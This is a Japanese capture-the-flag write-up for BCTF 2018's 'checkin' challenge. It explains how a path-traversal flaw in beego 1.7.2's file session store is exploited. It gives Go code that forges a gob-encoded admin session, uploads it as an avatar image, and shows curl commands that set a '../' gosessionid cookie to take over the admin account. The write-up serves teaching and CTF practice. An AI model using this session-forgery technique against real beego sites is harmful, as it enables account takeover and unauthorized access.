BCTF 2018 Writeup - checkin
問題文
this is a checkin challange!
http://47.95.195.16:9999
writeup
まずは画面と機能を調査する。
Register
name、gender、username、email、passwordを入力してアカウントを登録する画面。Login
usernameとpasswordを入力してログインする画面。Articles
皆が書いた記事を閲覧できる画面。 既に、他のプレイヤーによって投稿されたXSSやSQLiを狙ったコードが多数あるが、きちんとエスケープされている。
アカウントを登録してログインする。
ログイン後、以下のメニューが選択可能となる。
- update your profile
Descriptionのテキストの変更と、Avator画像をアップロードできる画面。
試しにアップロードをしてみると、以下のメッセージが返却された。
the avatar saved to /go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg
- Publish New Article
TitleとContentを入力して投稿可能な画面。
試しに、<>"'&#\
といった記号を入力してみたが、きちんとエスケープされている。
一通り、画面機能を確認した後、適当にhttp://47.95.195.16:9999/hoge
にアクセスすると404エラー。
Powered by beego 1.7.2
の表示。
go言語のフレームワークであるbeegoを使用しているようだ。
beegoの最新バージョンは v1.10.0。
よって、v1.7.2からv1.10.0の間に修正された脆弱性が攻略の糸口であると予想する。
リリースノートを見てみる。
Release Notes - beego: simple & powerful Go app framework
v1.7.2も載っていないし、どうやら全量載っていないようだ・・・。
gitからリポジトリをダウンロードして、commit logを追いかけることにする。
GitHub - astaxie/beego: beego is an open-source, high-performance web framework for the Go programming language.
Security関係の修正に着目して読み進めると、以下のcommit logを発見した。
commit 8391d26220d380b9c084ee425af0d3ba30dcc3ab Merge: f64e6b7 9865779 Author: astaxie <xiemengjun@gmail.com> Date: Thu Nov 8 23:21:18 2018 +0800 Merge pull request #3383 from LockGit/develop security question, fix arbitrary file read
#3383
のプルリクを確認する。
github.com
beegoはセッション情報をファイルシステムやDB等、いくつかの形式で管理可能。
ファイルシステムで管理している場合に、sessionidに../<PATH>
をセットすると、<PATH>
で指定したファイルをセッション情報としてロードさせて成りすましができるようだ。
Avatorの画像をアップロードした際にファイルパスが表示されたことを思い出す。これを使うに違いない。
まずは、適当なsessionidをセットするとログイン画面が表示されることを確認した。
その後、Cookieにgosessionid=../go/src/github.com/checkin/website/static/img/avatar/VsxipLGgeRuvUHRuQEjy.jpg
をセットしてみる。
Service Unavailableのエラーになった!
../
の指定によるファイルのロードは成功し、セッション情報のデコードに失敗してエラーになっているようだ。
よって、beegoがロード可能なセッション情報のファイルを作成して、アップロードすればよさそうだ。
なお、go言語を触ったことがなかったため、環境構築から開始した。
また、お作法がわからないため、体当たりでパッケージインストール。
pythonでいうvenvのような機能はあったのだろうか。
$ apt-get install golang $ go get github.com/astaxie/beego/session
sessionパッケージのtestコードを参考にしながら、セッション情報の生成コードを書いてみる。
package main import ( "github.com/astaxie/beego/session" "log" ) func main() { s := make(map[interface{}]interface{}) s["username"] = "admin" s["UID"] = 1 encoded_s, err:= session.EncodeGob(s) if err != nil { log.Fatal(err) } log.Printf("%v", encoded_s) decoded_s, err := session.DecodeGob(encoded_s) if err != nil { log.Fatal(err) } log.Printf("%v", decoded_s) }
実行する。
root@kali:~/Contest/BCTF2018# go run PoC.go 2018/11/28 01:18:34 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110] 2018/11/28 01:18:34 map[UID:1 username:admin]
UID:1、username:admin
のセッション情報ができた。
これをファイル化する。
アップロードして返却されたファイルパスをCookieのgosessionidにセットし、プロフィール画面を表示する。
ビンゴ!Admin Panel
のリンクがある。
フラグゲット!
bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?}
なお、curlで実行する場合は以下の通り。
root@kali:~# curl http://47.95.195.16:9999/profile/1/show -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg" <!DOCTYPE html> <html> <head> (snip) <div class="container"> <main-menu elements=""></main-menu> <div id="desktop-header-content"></div> <h1>Welcome to you account</h1> <h2>your "username" is "admin" you user "UID" is: "1"</h2> <a href="/profile/1/update">update your profile</a><br/> <a href="/admin_panel">Admin Panel</a><br/> (snip) root@kali:~# curl http://47.95.195.16:9999/admin_panel -H "Cookie: gosessionid=../go/src/github.com/checkin/website/static/img/avatar/DhksBPTfwdFFZxXihuyD.jpg" <!DOCTYPE html> <html> <head> (snip) <div class="container"> <main-menu elements=""></main-menu> <div id="desktop-header-content"></div> welcome.<br/> bctf{Y0Uu_H4CK3d_A_B33G0_W3bs1t3?} (snip)